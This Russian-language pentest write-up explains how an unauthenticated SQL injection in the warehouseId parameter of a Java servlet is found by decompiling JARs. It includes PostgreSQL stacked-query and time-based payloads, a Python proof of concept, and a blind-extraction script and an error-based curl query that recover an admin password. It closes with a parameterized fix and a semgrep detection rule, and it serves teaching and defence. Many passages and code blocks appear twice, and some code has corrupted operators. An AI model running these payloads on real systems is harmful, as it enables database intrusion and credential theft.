Материал носит образовательный характер. Все работы велись легально, в рамках пентеста, с письменного согласия владельца системы и в изолированном контуре. Название клиента и продукта не раскрываем — NDA. Имена классов, пакетов и таблиц в листингах изменены. Применяйте это только на системах, доступ к которым у вас есть. Доступ к чужим системам без разрешения преследуется по закону.
Корпоративная Java-система: складской учет, веб-интерфейс, HTTPS. Внутри — SQL-инъекция без аутентификации в одном GET-запросе, из-за строки «…WHERE ID=» + параметр.
Разберем, как найти такую в приложении без исходников: декомпиляция JAR → чтение сервлетов → уязвимая строка → подтверждение через pg_sleep. Каждый шаг воспроизводим.
Разберем, как найти такую в приложении без исходников: декомпиляция JAR → чтение сервлетов → уязвимая строка → подтверждение через pg_sleep. Каждый шаг воспроизводим.
Почему анализ кода
Инъекцию можно нащупать и перебором снаружи. Но если есть доступ к артефактам приложения (для системы в своей же инфраструктуре они почти всегда есть), чтение кода дает больше:
Не замена динамическому тестированию, но разобраться в баге до конца — минуты вместо сотен запросов.
- точную причину — конкретную строку, а не «где-то здесь ломается»;
- все параметры и ветвления if/else сразу — не нужно угадывать;
- контекст — видна СУБД, рабочий синтаксис и способ фикса.
Не замена динамическому тестированию, но разобраться в баге до конца — минуты вместо сотен запросов.
Что за приложение
Цель, без названия:
Типичный Java-монолит из времен, когда PreparedStatement считался излишеством.
- Java-приложение на встроенном Jetty, HTTPS, порт 8443;
- бэкенд — PostgreSQL;
- код в JAR-библиотеках в WEB-INF\lib;
- внутри — сервлеты и web. xml, ORM нет, SQL пишется руками.
Типичный Java-монолит из времен, когда PreparedStatement считался излишеством.
Инструменты
- JD-GUI — декомпиляция .jar/.class в читаемый Java-код.
- Notepad++ (или ripgrep/VS Code) — поиск по дереву исходников регулярками.
- Python 3 + requests — PoC.
- curl — отправить запрос руками.
JD-GUI — за скорость и пункт File → Save All Sources, который выгружает JAR в дерево .java-файлов. Для обфусцированных сборок лучше CFR или Procyon; здесь обфускации нет.
Декомпиляция восстанавливает исходник из байткода. Java компилируется в. class с сохранением имен методов, полей и структуры классов, поэтому результат близок к оригиналу — теряются в основном комментарии и локальные переменные. Для чтения логики этого достаточно.
Шаг 1. Достаем исходники
В WEB-INF\lib лежат JAR-ы приложения вперемешку со сторонними зависимостями. Нужны только JAR приложения. Отличаем их по имени вендора: наши — acme-wms-*, все остальное (postgresql-*, commons-*, *-slf4j-*) — библиотеки, их пропускаем. На размер не смотрим: у компактного приложения его же JAR-ы бывают меньше сторонних.
WEB-INF\lib\
├─ acme-wms-core.jar <-- ядро приложения (наш вендор)
├─ acme-wms-web.jar <-- сервлеты и веб-слой <- сюда
├─ acme-wms-reporting.jar <-- отчеты
├─ postgresql-42.7.11.jar (сторонняя, пропускаем)
├─ commons-lang3−3.20.0.jar (сторонняя, пропускаем)
├─ commons-io-2.22.0.jar (сторонняя, пропускаем)
└─ … (slf4j и прочие)
WEB-INF\lib\
├─ acme-wms-core.jar <-- ядро приложения (наш вендор)
├─ acme-wms-web.jar <-- сервлеты и веб-слой <- сюда
├─ acme-wms-reporting.jar <-- отчеты
├─ postgresql-42.7.11.jar (сторонняя, пропускаем)
├─ commons-lang3−3.20.0.jar (сторонняя, пропускаем)
├─ commons-io-2.22.0.jar (сторонняя, пропускаем)
└─ … (slf4j и прочие)
Каталог WEB-INF\lib: библиотеки приложения узнаем по имени вендора acme-wms-*, остальное — сторонние.
Открываем acme-wms-web.jar в JD-GUI → File → Save All Sources → распаковываем архив. Исходники есть.
Шаг 2. Ищем SQL в коде
Грепнуть SQL по всему коду:
^.*?select.*?from.*?$
^.*?query.*?select.*?
Тысячи совпадений в сотнях файлов — если проект большой, анализ может занимать несколько часов.
^.*?select.*?from.*?$
^.*?query.*?select.*?
Тысячи совпадений в сотнях файлов — если проект большой, анализ может занимать несколько часов.
Find in Files в Notepad++: результат поиска.
Сужаем до сервлетов
Сервлет — Java-класс, который обрабатывает HTTP-запрос. GET уходит в метод doGet, POST — в doPost, и так далее. Именно там приложение впервые касается данных из запроса, так что уязвимость почти всегда начинается в одном из этих методов. Ищем по ним:
Сужаем по регулярке do (Get|Post|Put|Delete). Среди сервлетов — ReportExportServlet.java. Экспорт отчетов = выборка из БД по пользовательским фильтрам, параметры едут прямо в SQL. Открываем.
- doGet
- doPost
- doPut
- doDelete
Сужаем по регулярке do (Get|Post|Put|Delete). Среди сервлетов — ReportExportServlet.java. Экспорт отчетов = выборка из БД по пользовательским фильтрам, параметры едут прямо в SQL. Открываем.
Поиск по doGet: среди результатов — ReportExportServlet.java.
Шаг 3. Читаем сервлет
Точки входа
Сигнатуры обработчиков:
Сигнатуры обработчиков:
doPost делегирует в doGet — атаковать можно и GET, и POST.
Сам doGet:
public void doGet (HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType ("text/html; charset=UTF-8");
PrintWriter out = response. getWriter ();
String fullExport = request. getParameter ("fullExport");
if ((fullExport ≠ null) && ("true".equals (fullExport))) {
exportFullCatalog (out);
return;
}
String minQty = request. getParameter ("minQty");
String warehouseId = request. getParameter ("warehouseId");
String includeArchived = request. getParameter ("includeArchived");
if ((includeArchived ≠ null) && ("true".equals (includeArchived))) {
boolean archived = AccessUtil. hasArchiveAccess (warehouseId);
out.println (archived);
} else if (minQty ≠ null) {
if ((warehouseId ≠ null) && (!"".equals (warehouseId))) {
exportStockByWarehouse (warehouseId, minQty, out); // <-- сюда
} else {
exportAllStock (minQty, out);
}
} else {
out.println ("missing parameters");
}
}
public void doGet (HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType ("text/html; charset=UTF-8");
PrintWriter out = response. getWriter ();
String fullExport = request. getParameter ("fullExport");
if ((fullExport ≠ null) && ("true".equals (fullExport))) {
exportFullCatalog (out);
return;
}
String minQty = request. getParameter ("minQty");
String warehouseId = request. getParameter ("warehouseId");
String includeArchived = request. getParameter ("includeArchived");
if ((includeArchived ≠ null) && ("true".equals (includeArchived))) {
boolean archived = AccessUtil. hasArchiveAccess (warehouseId);
out.println (archived);
} else if (minQty ≠ null) {
if ((warehouseId ≠ null) && (!"".equals (warehouseId))) {
exportStockByWarehouse (warehouseId, minQty, out); // <-- сюда
} else {
exportAllStock (minQty, out);
}
} else {
out.println ("missing parameters");
}
}
Параметры и ветвление
Параметры, которые читает сервлет: fullExport, minQty, warehouseId, includeArchived. Ветвление:
Вход в нужную ветку: fullExport и includeArchived не передаем, minQty и warehouseId — непустыми.
Параметры, которые читает сервлет: fullExport, minQty, warehouseId, includeArchived. Ветвление:
- fullExport=true → exportFullCatalog и return. Мимо.
- includeArchived=true → проверка доступа. Мимо.
- иначе, если задан minQty и непустой warehouseId → exportStockByWarehouse (warehouseId, minQty, out). Сюда.
Вход в нужную ветку: fullExport и includeArchived не передаем, minQty и warehouseId — непустыми.
doPost вызывает doGet — обе точки входа ведут к одной логике.
Шаг 4. Находим инъекцию
public void exportStockByWarehouse (String paramString1, String minQty, PrintWriter out) {
int min = Integer. parseInt (minQty);
String qry = "select distinct (SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID="
+ paramString1 + " and QTY > " + min;
…
Statement st = ConnectionPool. getConnection ().createStatement ();
ResultSet rs = st. executeQuery (qry);
…
}
warehouseId уязвим к SQL-инъекции. Контекст числовой: значение подставляется без кавычек (WAREHOUSE_ID=1, а не ='1'). Значит, не нужно ничего закрывать или экранировать — мы уже вне строкового литерала и можем сразу дописывать свой SQL. СУБД — PostgreSQL.
int min = Integer. parseInt (minQty);
String qry = "select distinct (SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID="
+ paramString1 + " and QTY > " + min;
…
Statement st = ConnectionPool. getConnection ().createStatement ();
ResultSet rs = st. executeQuery (qry);
…
}
- minQty проходит через Integer. parseInt (…) — не-число дает NumberFormatException еще до запроса. Как вектор бесполезен.
- warehouseId (paramString1) подставляется в запрос как есть: без экранирования, без PreparedStatement, без приведения к числу.
- Запрос выполняется через Statement. executeQuery (qry) — база получает строку буквально.
warehouseId уязвим к SQL-инъекции. Контекст числовой: значение подставляется без кавычек (WAREHOUSE_ID=1, а не ='1'). Значит, не нужно ничего закрывать или экранировать — мы уже вне строкового литерала и можем сразу дописывать свой SQL. СУБД — PostgreSQL.
Строка "... WHERE WAREHOUSE_ID=" + paramString1 — конкатенация ввода в SQL.
Шаг 5. Восстанавливаем URL
Класс — не адрес. По какому URL сервлет доступен снаружи? Соответствие "класс → URL" задается в дескрипторе развертывания WEB-INF/web.xml: блок <servlet> дает классу имя, <servlet-mapping> привязывает это имя к пути. Грепаем по имени класса:
<servlet>
<servlet-name>ReportExportServlet</servlet-name>
<servlet-class>com.acme.wms.servlets.ReportExportServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ReportExportServlet</servlet-name>
<url-pattern>/servlet/ReportExportServlet</url-pattern>
</servlet-mapping>
url-pattern: /servlet/ReportExportServlet.
<servlet>
<servlet-name>ReportExportServlet</servlet-name>
<servlet-class>com.acme.wms.servlets.ReportExportServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ReportExportServlet</servlet-name>
<url-pattern>/servlet/ReportExportServlet</url-pattern>
</servlet-mapping>
url-pattern: /servlet/ReportExportServlet.
web.xml связывает класс сервлета с публичным URL.
Минимальный запрос в уязвимую ветку:
https://<target>:8443/servlet/ReportExportServlet?minQty=1&warehouseId=1
Соберет SQL:
select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1 and QTY > 1
warehouseId — точка входа.
https://<target>:8443/servlet/ReportExportServlet?minQty=1&warehouseId=1
Соберет SQL:
select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1 and QTY > 1
warehouseId — точка входа.
Шаг 6. Подтверждаем
Проверка вручную
Руками, с разделителем запросов; в warehouseId:
curl 'https://192.168.56.20:8443/servlet/ReportExportServlet?minQty=1&warehouseId=1;' -k -i
Символ; завершает один SQL-оператор и начинает следующий (стек-запрос). JDBC-драйвер PostgreSQL по умолчанию разрешает несколько операторов в одном вызове — этим мы и воспользуемся. При включенном debug-логе в логах приложения появится собранный запрос, а в логе PostgreSQL — синтаксическая ошибка. Ввод долетает до парсера SQL.
Руками, с разделителем запросов; в warehouseId:
curl 'https://192.168.56.20:8443/servlet/ReportExportServlet?minQty=1&warehouseId=1;' -k -i
Символ; завершает один SQL-оператор и начинает следующий (стек-запрос). JDBC-драйвер PostgreSQL по умолчанию разрешает несколько операторов в одном вызове — этим мы и воспользуемся. При включенном debug-логе в логах приложения появится собранный запрос, а в логе PostgreSQL — синтаксическая ошибка. Ввод долетает до парсера SQL.
Перебор нагрузок
Нагрузки (PostgreSQL, числовой контекст):
Нагрузки (PostgreSQL, числовой контекст):
UNION не проходит: число и типы колонок должны совпадать с основным запросом. Тот возвращает distinct (SKU) (varchar), а SELECT 1 — integer. Postgres отвечает UNION types integer and character varying cannot be matched. Приведение типов (SELECT NULL: text) помогло бы, но для подтверждения факта лишнее.
Time-based срабатывает. pg_sleep (10) — функция PostgreSQL, которая просто ждет заданное число секунд. Прием удобен тем, что не требует данных в ответе: если запрос выполнился, сервер отвечает на 10 секунд дольше — и это уже сигнал «да». Так проверяют инъекцию вслепую, когда результат на страницу не выводится.
Одна деталь: после warehouseId в запрос дописывается хвост and QTY > 1. Если оставить нагрузку голой, он прилипнет к pg_sleep (select pg_sleep (10) and QTY > 1) и запрос упадет на анализе еще до выполнения — задержки не будет. Поэтому хвост гасим комментарием --. Наш стек-запрос ;select pg_sleep (10)-- дает ровно такую задержку:
select distinct (SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1;select pg_sleep (10)-- and QTY > 1
Time-based срабатывает. pg_sleep (10) — функция PostgreSQL, которая просто ждет заданное число секунд. Прием удобен тем, что не требует данных в ответе: если запрос выполнился, сервер отвечает на 10 секунд дольше — и это уже сигнал «да». Так проверяют инъекцию вслепую, когда результат на страницу не выводится.
Одна деталь: после warehouseId в запрос дописывается хвост and QTY > 1. Если оставить нагрузку голой, он прилипнет к pg_sleep (select pg_sleep (10) and QTY > 1) и запрос упадет на анализе еще до выполнения — задержки не будет. Поэтому хвост гасим комментарием --. Наш стек-запрос ;select pg_sleep (10)-- дает ровно такую задержку:
select distinct (SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1;select pg_sleep (10)-- and QTY > 1
PoC на Python
#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings (urllib3.exceptions.InsecureRequestWarning)
def main ():
if len (sys.argv) ≠ 2:
print ("usage: %s <target>" % sys. argv[0])
sys.exit (1)
target = sys. argv[1]
payload = ";select pg_sleep (10)--" # time-based blind, -- гасит хвост запроса
url = "https://%s:8443/servlet/ReportExportServlet" % target
params = {"minQty": "1", "warehouseId": "1%s" % payload}
r = requests. get (url, params=params, verify=False, timeout=30)
print ("status: %s" % r. status_code)
print ("elapsed: %.2fs" % r.elapsed.total_seconds ()) # ~10s => подтверждено
if __name__ == "__main__":
main ()
Запуск:
$ python3 sql. py 192.168.56.20
status: 200
elapsed: 10.31s
elapsed ≈ 10 с — сервер выполнил pg_sleep (10). Инъекция подтверждена.
#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings (urllib3.exceptions.InsecureRequestWarning)
def main ():
if len (sys.argv) ≠ 2:
print ("usage: %s <target>" % sys. argv[0])
sys.exit (1)
target = sys. argv[1]
payload = ";select pg_sleep (10)--" # time-based blind, -- гасит хвост запроса
url = "https://%s:8443/servlet/ReportExportServlet" % target
params = {"minQty": "1", "warehouseId": "1%s" % payload}
r = requests. get (url, params=params, verify=False, timeout=30)
print ("status: %s" % r. status_code)
print ("elapsed: %.2fs" % r.elapsed.total_seconds ()) # ~10s => подтверждено
if __name__ == "__main__":
main ()
Запуск:
$ python3 sql. py 192.168.56.20
status: 200
elapsed: 10.31s
elapsed ≈ 10 с — сервер выполнил pg_sleep (10). Инъекция подтверждена.
Ответ пришел через ~10 секунд — pg_sleep отработал.
Подтверждение в логах
Подтверждение на стороне сервера — лог PostgreSQL. Стек-запрос разбит на два оператора: первый — штатная выборка, второй — наш pg_sleep(10), а хвост and QTY > 1 съеден комментарием --:
LOG: execute <unnamed>: select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1
LOG: execute <unnamed>: select pg_sleep(10)-- and QTY > 1
Подтверждение на стороне сервера — лог PostgreSQL. Стек-запрос разбит на два оператора: первый — штатная выборка, второй — наш pg_sleep(10), а хвост and QTY > 1 съеден комментарием --:
LOG: execute <unnamed>: select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1
LOG: execute <unnamed>: select pg_sleep(10)-- and QTY > 1
Лог PostgreSQL: выполнение pg_sleep(10).
От blind к дампу
Задержка доказывает инъекцию, но сама по себе выглядит безобидно: запрос повисел десять секунд, и только. Покажем, что за задержкой стоят реальные данные.
Сервлет ошибки прячет: catch логирует их, но в ответ не отдает. Значит, идем полностью вслепую и вытягиваем данные по одному биту тем же приемом с задержкой: истинное условие добавляет pg_sleep, и ответ приходит дольше.
Пробник по первому символу пароля из служебной таблицы APP_USERS:
1 and ascii (substr ((select password from APP_USERS limit 1), 1,1)) > 77 and pg_sleep (1) is not null--
Ответ дольше 1 секунд → код первого символа больше 77. Бинарным поиском по каждой позиции восстанавливаем строку целиком:
import requests, time
import urllib3
urllib3.disable_warnings (urllib3.exceptions.InsecureRequestWarning)
URL = "https://127.0.0.1:8443/servlet/ReportExportServlet"
def truthy (cond, delay=1):
wid = "1 and (%s) and pg_sleep (%d) is not null--" % (cond, delay)
t = time. time ()
requests.get (URL, params={"minQty": "1", "warehouseId": wid}, verify=False)
return time. time () — t > delay
sub = "(select password from APP_USERS where username='admin')"
out = ""
for pos in range (1, 14):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if truthy ("ascii (substr (%s,%d, 1)) > %d" % (sub, pos, mid)):
lo = mid + 1
else:
hi = mid
out += chr (lo)
print ("pos %2d -> %r" % (pos, out))
print ("password:", out)
Пароль вытекает по символу:
$ python3 dump. py
pos 1 -> 'S'
pos 2 -> 'S3'
…
pos 13 -> 'S3cr3t-Adm1n!'
password: S3cr3t-Adm1n!
Сервлет ошибки прячет: catch логирует их, но в ответ не отдает. Значит, идем полностью вслепую и вытягиваем данные по одному биту тем же приемом с задержкой: истинное условие добавляет pg_sleep, и ответ приходит дольше.
Пробник по первому символу пароля из служебной таблицы APP_USERS:
1 and ascii (substr ((select password from APP_USERS limit 1), 1,1)) > 77 and pg_sleep (1) is not null--
Ответ дольше 1 секунд → код первого символа больше 77. Бинарным поиском по каждой позиции восстанавливаем строку целиком:
import requests, time
import urllib3
urllib3.disable_warnings (urllib3.exceptions.InsecureRequestWarning)
URL = "https://127.0.0.1:8443/servlet/ReportExportServlet"
def truthy (cond, delay=1):
wid = "1 and (%s) and pg_sleep (%d) is not null--" % (cond, delay)
t = time. time ()
requests.get (URL, params={"minQty": "1", "warehouseId": wid}, verify=False)
return time. time () — t > delay
sub = "(select password from APP_USERS where username='admin')"
out = ""
for pos in range (1, 14):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if truthy ("ascii (substr (%s,%d, 1)) > %d" % (sub, pos, mid)):
lo = mid + 1
else:
hi = mid
out += chr (lo)
print ("pos %2d -> %r" % (pos, out))
print ("password:", out)
Пароль вытекает по символу:
$ python3 dump. py
pos 1 -> 'S'
pos 2 -> 'S3'
…
pos 13 -> 'S3cr3t-Adm1n!'
password: S3cr3t-Adm1n!
Пароль админа, извлеченный вслепую по одному символу через задержку.
Если приложение возвращает ошибку БД (частый случай — незакрытый stack trace или сообщение об ошибке в ответе), тот же результат достается одним запросом. Приведение строки к int роняет запрос, а PostgreSQL кладет само значение в текст ошибки:
curl -sk --data-urlencode 'minQty=1' \
--data-urlencode "warehouseId=1 and 1=cast ((select password from APP_USERS where username='admin') as int)--" \
-G 'https://<target>:8443/servlet/ReportExportServlet'
# export failed: ERROR: invalid input syntax for type integer: "S3cr3t-Adm1n!"
curl -sk --data-urlencode 'minQty=1' \
--data-urlencode "warehouseId=1 and 1=cast ((select password from APP_USERS where username='admin') as int)--" \
-G 'https://<target>:8443/servlet/ReportExportServlet'
# export failed: ERROR: invalid input syntax for type integer: "S3cr3t-Adm1n!"
Пароль админа, извлеченный по выводу Error.
Вот и вся дистанция от «запрос висит 10 секунд» до пароля администратора в открытом виде.
Чтобы выполнить проверку привилегий на суперпользователя можно воспользоваться полезной нагрузкой:
;SELECT+case+when+(SELECT+current_setting ($$is_superuser$$))=$$on$$+then+pg_sleep (10)+end;--+
Чтобы выполнить проверку привилегий на суперпользователя можно воспользоваться полезной нагрузкой:
;SELECT+case+when+(SELECT+current_setting ($$is_superuser$$))=$$on$$+then+pg_sleep (10)+end;--+
Проверка привилегий, is_superuser=off.
Что это дает
Через warehouseId — произвольное исполнение SQL от имени учетки приложения. Дальше зависит от ее прав и настроек Postgres:
- чтение любых таблиц — тем же time-based приемом, что показан выше, либо через UNION с приведением типов;
- запись — раз стек-запросы проходят, INSERT/UPDATE/DELETE тоже доступны;
- при избыточных привилегиях роли — чтение файлов с сервера (pg_read_file) и запуск команд ОС (COPY … FROM PROGRAM), а это уже прямой путь к RCE.
Как чинить
Корень — конкатенация недоверенного ввода в SQL. Лечится параметризацией.
Было:
String qry = «select distinct (SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=»
+ warehouseId + «and QTY > «+ min;
ResultSet rs = st. executeQuery (qry);
Стало:
String qry = «select distinct (SKU) from WMS_STOCK_ITEMS «
+ «where WAREHOUSE_ID =? and QTY > ?»;
try (PreparedStatement ps = ConnectionPool. getConnection ().prepareStatement (qry)) {
ps.setInt (1, Integer. parseInt (warehouseId));
ps.setInt (2, min);
try (ResultSet rs = ps. executeQuery ()) {
while (rs.next ()) {
out.println (rs.getString («SKU»));
}
}
}
По эшелонам:
Было:
String qry = «select distinct (SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=»
+ warehouseId + «and QTY > «+ min;
ResultSet rs = st. executeQuery (qry);
Стало:
String qry = «select distinct (SKU) from WMS_STOCK_ITEMS «
+ «where WAREHOUSE_ID =? and QTY > ?»;
try (PreparedStatement ps = ConnectionPool. getConnection ().prepareStatement (qry)) {
ps.setInt (1, Integer. parseInt (warehouseId));
ps.setInt (2, min);
try (ResultSet rs = ps. executeQuery ()) {
while (rs.next ()) {
out.println (rs.getString («SKU»));
}
}
}
По эшелонам:
- Только PreparedStatement или ORM со связанными параметрами. Никакой склейки ввода с SQL.
- Валидация типов на входе. warehouseId — число, значит Integer. parseInt до любого похода в базу.
- Наименьшие привилегии для роли БД. Учетке приложения не нужны COPY FROM PROGRAM, чтение файлов и системные таблицы.
- Отключить многооператорные запросы, если слой доступа позволяет — стек-запросы через; теряют половину силы.
- Статический анализ в CI. Semgrep или CodeQL ловят «строка SQL + конкатенация переменной» на ревью.
- WAF — временная мера, не замена фикса.
Найти это грепом
Весь класс бага — это SQL-строка, склеенная с переменной. Такое ищется за десять секунд еще до пентеста.
Грубый, но рабочий фильтр по репозиторию (ripgrep, многострочный режим):
rg -U -i 'select[^"]*"\s*\+' --type java
Грубый, но рабочий фильтр по репозиторию (ripgrep, многострочный режим):
rg -U -i 'select[^"]*"\s*\+' --type java
Точнее — правило semgrep, которое ловит поток от getParameter в Statement (taint):
rules:
— id: jdbc-sqli-concat
languages: [java]
severity: ERROR
message: SQL-строка склеена с недоверенными данными — используйте PreparedStatement
mode: taint
pattern-sources:
— pattern: (HttpServletRequest $R).getParameter (…)
pattern-sinks:
— pattern: (Statement $S).executeQuery (…)
— pattern: (Statement $S).execute (…)
Одно такое правило в CI ловит весь класс до прода — и warehouseId, и любой следующий параметр, который кто-нибудь склеит в запрос на автопилоте.
rules:
— id: jdbc-sqli-concat
languages: [java]
severity: ERROR
message: SQL-строка склеена с недоверенными данными — используйте PreparedStatement
mode: taint
pattern-sources:
— pattern: (HttpServletRequest $R).getParameter (…)
pattern-sinks:
— pattern: (Statement $S).executeQuery (…)
— pattern: (Statement $S).execute (…)
Одно такое правило в CI ловит весь класс до прода — и warehouseId, и любой следующий параметр, который кто-нибудь склеит в запрос на автопилоте.
Коротко
Пятнадцать минут чтения кода — и есть полная картина: какой параметр, в каком контексте, за какими условиями, в какой базе. Дальше — короткий запрос и понятный фикс.
Инъекции редко прячутся в экзотике. Обычно это скучная строка, написанная на автопилоте. Цена вопроса — один PreparedStatement.
Инъекции редко прячутся в экзотике. Обычно это скучная строка, написанная на автопилоте. Цена вопроса — один PreparedStatement.
Автор: Юрий Гришаев – специалист по анализу защищённости веб-приложений и ПО под Windows. Тимлид в АБП2Б. Сертифицированный специалист OSCP+, входит в Топ75 лучших хакеров на Standoff 365 по найденным уязвимостям